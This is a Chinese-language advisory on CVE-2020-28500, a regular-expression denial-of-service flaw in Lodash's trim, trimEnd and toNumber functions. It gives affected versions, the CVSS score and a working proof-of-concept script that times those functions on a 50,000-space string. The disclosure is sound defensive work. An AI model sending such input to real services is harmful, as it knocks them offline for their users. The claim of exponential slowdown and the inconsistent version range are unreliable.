Lodash正则表达式拒绝服务漏洞深度解析

本文详细分析了Lodash库中存在的正则表达式拒绝服务漏洞,影响版本包括4.0.0至4.17.21,涉及toNumber、trim和trimEnd函数,攻击者可通过构造特定输入导致服务不可用。

正则表达式拒绝服务漏洞分析

漏洞概述

CVE-2020-28500 是一个在Lodash JavaScript工具库中发现的中等严重性安全漏洞,该漏洞属于正则表达式拒绝服务攻击类型。

受影响版本

npm包

  • lodash: >=4.0.0, <4.17.21
  • lodash-es: >=4.0.0, <4.17.21
  • lodash.trim: >=4.0.0, <=4.5.1
  • lodash.trimend: >=4.0.0, <=4.5.1

RubyGems包

  • lodash-rails: >=4.0.0, <4.17.21

已修复版本

  • 4.17.21

漏洞细节

受影响的函数

  • toNumber
  • trim
  • trimEnd

复现步骤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var lo = require('lodash');

function build_blank(n) {
    var ret = "1"
    for (var i = 0; i < n; i++) {
        ret += " "
    }
    return ret + "1";
}

var s = build_blank(50000)
var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);

var time1 = Date.now();
lo.toNumber(s)
var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);

var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);

安全评分

CVSS v3.1 评分

  • 总体评分: 5.3/10(中等)
  • 攻击向量: 网络
  • 攻击复杂度: 低
  • 所需权限: 无
  • 用户交互: 无
  • 影响范围: 未改变
  • 机密性影响: 无
  • 完整性影响: 无
  • 可用性影响: 低

相关链接

弱点分类

  • CWE-400: 不受控制的资源消耗
  • CWE-1333: 低效的正则表达式复杂度

该漏洞允许攻击者通过向受影响函数提供特定构造的输入,导致正则表达式处理时间呈指数级增长,从而消耗大量CPU资源,造成拒绝服务状况。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计